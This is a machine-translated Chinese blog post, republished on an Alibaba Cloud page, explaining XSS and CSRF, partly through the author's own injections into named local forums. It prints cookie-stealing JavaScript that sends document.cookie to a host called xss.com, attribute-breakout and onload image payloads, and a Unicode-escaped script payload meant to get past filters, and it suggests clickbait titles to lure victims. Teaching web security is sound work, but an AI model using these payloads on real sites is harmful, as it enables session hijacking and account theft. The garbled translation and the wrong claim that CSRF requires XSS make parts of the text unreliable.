About XSS (cross-site scripting attacks) and CSRF (cross-site request forgery)

Source: Internet
Author: User
Tags csrf attack


We often say that the network security should include the following three aspects of security: 1, confidentiality, such as the user's privacy is stolen, account theft, the common way is a Trojan horse. 2, completeness, such as the integrity of the data, for example, Kangxi Pass a bit 14 son, was at that time four elder brother Tamper Yizhao: Pass in four son, of course this is legend, Common way is XSS cross-site scripting attack and CSRF cross-site request forgery. 3, availability, such as whether our network services are available, the common attack mode is dos and DDoS, denial of service and distributed denial of service attacks. This article mainly describes the XSS and CSRF attacks, with examples of the 2 attacks of the harmfulness of the attack and some precautions, there is a wrong or incomplete place to welcome the large number of supplementary instructions. Note: The example of this site attack is the original instance, and did not learn the example on the Internet, and also please the Heroes Mercy don't casually try oh ~, this article aims to point out the means of attack and methods of prevention. What is  XSS? Its full name is: Cross-site scripting, in order to distinguish with CSS cascading style sheets, so name XSS. is a Web application security vulnerability attack, is a code injection. It allows malicious users to inject code into a Web page, and other users will be affected when they view the page. Such attacks typically include HTML and client-side scripting languages. And what is CSRF? CSRF full name is Cross-site request forgery, is a malicious use of the site, csrf than XSS more dangerous. To understand the attack characteristics of csrf we need to understand how the site session works.  session I think everyone is not unfamiliar, whether you have developed a Web site with. NET or PHP has certainly used the session object, but how does it work? If you're not sure, look down. Ask a small question: If I disable the browser cookie, do you think the session will work?   The answer is no, I'm here to give a simple example to help you understand the session. For example, I bought a golf club membership card and the club gave me a membership card with a number of cards. What rights can I enjoy (for example, I am a premium membership card can be 19 holes and after paying for drinks, and junior membership card only in the driving range swing) and my personal information are stored in the Golf Club database. Every time I go to the Golf club I only need to show this senior membership card, the club will know who I am, and serve me.   Here our Premium membership card number = SessionID stored in the cookie, and my premium membership right and personal information is the session object on the server.   We know that HTTP requests are stateless, that is, each HTTP request is independent of the previous operation, but each HTTP request sends all the cookies under the domain as part of the HTTP request header to the server. So the server will find the member information in the session object according to the SessionID stored in the request. Of course, the session is saved in a variety of ways, can be stored in the file, or in memory, considering the distributed scale-out we still suggest to keep it in third-party media, such as Redis or MongoDB.   After we understand the working mechanism of the session, CSRF is easy to understand. CSRF attack is equivalent to malicious user a copy of my premium membership card, which day malicious user A can also take this fake senior membership card to golf club to play 19 holes, enjoy a delicious drink, and I will receive the Golf club bill at the end of the month!   UnderstandingAfter the CSRF mechanism, the harmfulness I believe everyone has self-evident, I can forge a user's identity to send spam messages to their friends, these spam hyperlinks may have Trojan programs or some fraudulent information (such as borrowing money), if the csrf sent spam and worm links, Those who receive these harmful messages in case the connection to open the private message also become the dissemination of harmful information, so that tens of thousands of users have been stolen data planted Trojan horse. The application of the entire site may be in an instant crash, user complaints, user churn, the company's reputation plummeted even face the collapse. Once on MSN, an American 19-year-old lad Samy using CSS background vulnerabilities to allow more than 1 million users to successfully infect his worm within hours, although the worm did not destroy the entire application, but only after each user's signature added a "Samy is my idol "But once these vulnerabilities were exploited by malicious users, the consequences would be disastrous, and the same thing had happened on Sina Weibo."   Want to CSRF to get the user's information, it must be the success of XSS injection, the following example I simply inject alert (' XSS '), as for the malicious user can completely change alert (' XSS ') to his desired arbitrary JS code, Used to send post or get requests to modify the user's data, to obtain user friend information, forged to send private messages, or even make worms spread to the entire Web application, so do not underestimate the effect of XSS injection attack, not alert a dialog box so simple!   We'll roll up our sleeves and start our XSS tour:  1, example: XSS injection City Suzhou Forum I am Suzhou people, I will take the local official forum www.2500sz.com surgery. I opened the 2500sz.com forum and then registered an account, issued a new topic, enter the following code:   the above code is to enter a network share image, I wrote in SRC directly javascript:alert (' XSS ') After the successful operation, the post is generated and the alert (' XSS ') pop-up window will appear with IE6, 7 of the users who have opened this post.     of course I will be very attractive to the title design, such as "Edison Chen nude leaked 2012 version (20P uncensored)", so if I change the inside alert into malicious code, such as:

Location . href = ' http://www.xss.com?cookie= ' + Document . Cookies ;

User's Cookie I also got, if the server session is not set to expire, I will even take this cookie without the user name password, you can log in as this user success. Here location.href just in simple to do, if do jump this post will soon be deleted by the administrator, but if I write the following code, and the content of the post is more real, perhaps this post will harm many people:

varimg=Document.createelement(' img ');img.src=' http://www.xss.com?cookie= '+Document.Cookies;img.style.Display=' None ';Document.getElementsByTagName(' body ')[0].appendchild(img);In this way, the current user's cookie was sent to my malicious site, and my malicious site got the user's cookie by getting the get parameter. Of course, we can use this method to get the user's various data. 2, or Suzhou local SNS, Suzhou People community we visit the www.szr.com community, which is a people-oriented SNS community in Suzhou, the main interface is copied Sina Weibo. Injection attempt 1: direct input <script> tag, found that PHP escaped both single and double quotes, but also the <> such symbols are filtered out, try to fail, continue to find a breakthrough. Injection attempt 2: Image injection, some SNS community can let users upload images themselves, and then fill in the ref attribute or Title property, these properties will often become injection points, if the application file name is not modified can also be injected. More winners, in the new version of the Discuz, users can share photos can also view the EXIF information of the photos, such as aperture camera model, and so on, with software modified EXIF information, embedded in the malicious JS code, and then to attract users to view EXIF information. But this SZR community does not provide the title of the picture, and the uploaded images have been renamed by the server. Try to fail again, not discouraged continue to find a breakthrough. Injection attempt 3: We found the video this button, this feature can be shared video through the video connection address, such as I can send Youku video address to share to other users. So I turn on the video function and write in the input box:

http : //www.baidu.com/ "Onclick=alert (' XSS ') title=" XSS "

Generated the case: Although the injection failed, PHP escaped single quotes, but we found that the SZR community did not validate the URL I entered, and did not filter the double quotation marks, so that the entire HTML DOM element was leaked. Leak detection is a term that indicates that an XSS attack closes the HTML tag prematurely. We've found a breakthrough, and here's how to deal with the annoying escape backslash. Injection attempt 4: Since both single and double quotes are escaped, we can't take advantage of them. Can we bypass single quotes and double quotes to output strings? The answer is yes, I'll add the video path again, enter the following code:

http : //www.baidu.com/"Onclick=alert (this.name) NAME=XSS REF=XSS

We successfully injected the OnClick event and the Name property after the build, and what happens next is the same as we imagined. When the user clicks on our video button and pops up the dialog box XSS, we inject success, drink a cup of coconut milk to celebrate the next! Some friends may say that is because the PHP side does not verify the validity of the video, such as the URL is not open in the browser, just need to simply request this address on the backend to filter out such attacks, the answer is certainly negative, we look at the following code:

http : //www.baidu.com/ # "Onclick=alert (this.name) NAME=XSS REF=XSS

You can put this URL into the browser, and found that you can open the Baidu page. So just verifying that the URL is valid is far from enough.  3, everyone wai snswww.renrenwei.com is my previous unit of the team to do an SNS project, I left after they are still developing a new version, the current version of the online XSS injection point is much tongue. Almost without fortification, let's take a simple look at the injected process:  Everyone wai SNS allows users to share through the editor of Baidu, the pit father is he unexpectedly also allow directly edit HTML tags   try 1: Write directly in the edit <script> tag, The results have been filtered out, so the naked injection is not to be killed, I am so sorry boss.   Try 2: We insert a picture, open the HTML Source view, directly in the inside write onload= "alert (' XSS ')", see figure:   we inserted the malicious code, when the picture onload event to execute the JS script    Baidu's edit is really a pit dad! Pop up the XSS, we inject success, the site also has a lot of injection points, such as sending videos and so on not listed. &NBSP;&NBSP;4, Ajax JSON injection can not find an example, I will briefly introduce the principle of this kind of injection. Modern web sites are heavily used Ajax for faster loading and better user experience, most of which are JSON string formats, while pages use UTF-8 encoding for multiple languages.   Such a scene, is a detailed page of a blog post, a lot of users to this blog post, in order to speed up the page loading speed, the program designer asked to display the content of the blog post, and then through the Ajax to get the first page of the message, through the AJAX page click the next page to get the second page of the message. The advantages of this are: a. Speed up the loading of the detailed page of the blog post, because the message is often a user picture, nickname, id and so on, need more than a table query and the general user will look at the blog, and then pull down to see the message, then the message has been loaded completed. B.ajax's message paging can respond more quickly and users do not have to refresh the blog, but to view more messages directly.   Looks like everything is very good, the user into the detailed page, first slowly read the blog, at this time Ajax hard work to get the content of the message, and then displayed at the bottom of the page, but when the front end of the production of this page of engineers with the following code after the things are not so beautiful. Can you see what the clue is?

var Span class= "PLN" > commentobj = $ ( ' #comment '

$ get ( '/getcomment ' { r : math random (), page : 1 article_id : 1234 function ( data

    if ( data state !== 200   return commentobj html ( "message loading failed. '

commentobj. HTML (data. content );

},' json ');

We designed the backend to put the message into the template, in JSON format as follows: {state:200, Content: "Template string Fragment"} and then output the code in this section of the template. If we don't see the problem, we continue. We try to execute the following code:

$ (' Div:first '). HTML (' <script>alert (' XSS ') </script> ');

OK pop up the alert box XSS, you may think this is more pediatrics, our powerful PHP programmer through the above 3 scenarios have been completely filtered out and escaped the angle brackets <> and single double quotes "', So the above malicious code will be beautiful into the following characters printed into the message content.

&lt; Script &gt; Alert ( &quot; XSS &quot;) &lt;/script &gt;

First of all, praise our PHP programmer, do a good job can be some of the normal XSS injection is masked, but in Utf-8, the character also has a way of representation, that is, Unicode code, we have to rewrite the above malicious string as follows:

$ (' Div:first '). HTML (' \u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0022\ u0078\u0073\u0073\u0022\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e ');

HOHO, we can go to have jquery Web site open firbug Run, found or output alert XSS, see our injection and success, just this time tired, need to write good malicious code into the transcoding to do the next escape. That year's WEBQQ once reported this Unicode XSS injection vulnerability! Finally do the next Unicode and Utf-8 literacy, the difference between them and the connection. Because ASCII (128 bit is not enough, some countries 256 is not enough), so there is Unicode (to solve the ASCII encoding is not enough), of course, Unicode and our GB2312 is completely irrelevant, Unicode is just a set of symbols, It only specifies the binary code of the symbol, and Utf-8 is one of the implementations of Unicode, and we see UTF-8 's English Full name: Unicode transformation Format. One of the biggest features of UTF-8 is that it is a variable-length coding method. It can use 1~4 bytes to represent a symbol, depending on the symbol to change the length of the byte, and Unicode if the conversion to 16 binary is a fixed length, which for some English fonts is a waste of storage space, we see the following table to know:

Unicode Symbol Range | UTF - 8 Encoding Method  

(hex) | (binary)  

0000 0000 - 0000 007F | 0xxxxxxx  

0000 0080 - 0000 07FF | 110xxxxx 10xxxxxx  

0000 0800 - 0000 FFFF | 1110xxxx 10xxxxxx 10xxxxxx  

0001 0000 - 0010 FFFF | 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx  

JavaScript uses \u to represent the end of Unicode encoding: XSS and csrf always exist in our side, we can search online, a large slice of the loophole introduced, including Sina Weibo, WEBQQ and other large companies such as Internet applications have been or there is such a loophole. It's really hard to resist such attacks, and I'm sure you'll have a solution in mind if you look at the smart one.

A final example of an attack
Inject Cnodejs Official website ExampleTransfer from http://snoopyxdy.blog.163.com/blog/static/60117440201284103022779/

About XSS (cross-site scripting attacks) and CSRF (cross-site request forgery)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.